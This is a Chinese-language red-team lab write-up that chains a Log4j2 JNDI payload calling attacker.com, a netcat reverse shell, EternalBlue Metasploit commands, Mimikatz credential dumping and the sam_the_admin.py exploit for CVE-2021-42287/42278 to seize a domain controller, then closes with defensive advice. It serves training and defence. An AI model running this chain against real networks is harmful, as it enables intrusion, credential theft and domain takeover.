从外网 log4j2 RCE 再到内网核弹组合拳漏洞 CVE-2021-42287、CVE-2021-42278 拿到 DC
字数 1618 2025-08-24 23:51:18
从外网Log4j2 RCE到内网域渗透:CVE-2021-42287和CVE-2021-42278漏洞利用实战
1. 靶场环境概述
本次靶场是一个典型的内网域渗透环境,包含以下关键组件:
- 外网Ubuntu服务器(192.168.0.251)
- 内网Windows 7域成员主机(10.0.1.7)
- 域控制器(10.0.0.12)
- 攻击者Kali Linux(192.168.0.175)
2. 外网渗透阶段
2.1 初始信息收集
使用Nmap进行端口扫描:
nmap -v -Pn -T3 -sV -n -sT --open -p 22,1222,2222,22345,23,21,445,135,139,5985,2121,3389,13389,6379,4505,1433,3306,5000,5236,5900,5432,1521,1099,53,995,8140,993,465,878,7001,389,902,1194,1080,88,38080 192.168.0.251
发现开放端口:
- 22 (SSH)
- 38080 (Web服务)
2.2 Log4j2漏洞利用(CVE-2021-44228)
-
验证漏洞存在性:
- 向目标发送包含
${jndi:ldap://attacker.com/exp}的请求 - 观察到DNS查询记录,确认漏洞存在
- 向目标发送包含
-
攻击步骤:
- 在Kali上启动LDAP服务
- 使用nc监听反弹shell端口(9999)
- 发送精心构造的payload触发RCE
-
成功获取Docker容器内的shell:
- 在容器内发现flag文件:
flag{redteam.lab-1} - 获得凭据:
saul/Saul123
- 在容器内发现flag文件:
2.3 SSH登录
使用获得的凭据通过SSH登录目标服务器:
ssh saul@192.168.0.251
3. 内网渗透阶段
3.1 内网信息收集
-
发现内网网卡:
- ens33:外网网卡
- ens38:内网网卡(10.0.1.6)
-
扫描内网存活主机:
for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done
发现内网主机:10.0.1.7
- 建立代理通道:
- 使用frp将内网流量代理到攻击机
- 配置Metasploit socks代理
3.2 MS17-010永恒之蓝攻击
- 使用Metasploit扫描SMB版本:
use auxiliary/scanner/smb/smb_version
发现目标为Windows 7,域名为REDTEAM
- 执行永恒之蓝攻击:
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.0.1.7
set payload windows/x64/meterpreter/bind_tcp
set LPORT 4444
exploit
- 获取Meterpreter会话后使用Mimikatz提取凭据:
Username: root
Domain: REDTEAM
Password: Red12345
3.3 域内信息收集
- 发现域控制器IP:10.0.0.12
- 添加路由:
run autoroute -s 10.0.0.7/24
4. 域控攻击阶段
4.1 漏洞原理(CVE-2021-42287 & CVE-2021-42278)
这两个漏洞组合被称为"域内大杀器",攻击流程如下:
- 创建一个机器账户(如saulGoodman$)
- 修改该账户的sAMAccountName属性为域控名称(如DC)
- 使用伪造的DC账户申请TGT票据
- 将sAMAccountName改回原始值(saulGoodman$)
- KDC会搜索DC$(真正的域控账户)
- 使用TGT进行S4U2self,模拟域管理员请求域控的ST票据
- 最终获得域控制器的权限
4.2 实际攻击步骤
- 使用Python脚本自动化攻击:
python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell
- 成功获取域控制器权限
5. 总结与防御建议
5.1 攻击路径总结
- 外网Log4j2 RCE → Docker容器逃逸 → SSH登录
- 内网MS17-010攻击 → 获取域用户凭据
- 利用CVE-2021-42287和CVE-2021-42278 → 域控接管
5.2 防御建议
-
针对Log4j2:
- 升级到Log4j 2.15.0或更高版本
- 设置
log4j2.formatMsgNoLookups=true - 限制出站网络连接
-
针对MS17-010:
- 安装MS17-010补丁
- 禁用SMBv1协议
- 启用网络级认证(NLA)
-
针对域漏洞:
- 安装2021年11月安全更新
- 监控机器账户的创建和修改
- 限制普通用户创建机器账户的权限
- 启用高级审计策略监控敏感操作
-
通用防御:
- 实施网络分段
- 定期更新所有系统
- 实施最小权限原则
- 监控异常活动
6. 工具与资源
-
使用工具:
- Nmap
- Metasploit
- Mimikatz
- sam_the_admin.py (CVE-2021-42287利用脚本)
- frp (内网穿透)
-
参考资源:
- CVE-2021-44228 (Log4j2)详情
- MS17-010漏洞详情
- CVE-2021-42287和CVE-2021-42278技术分析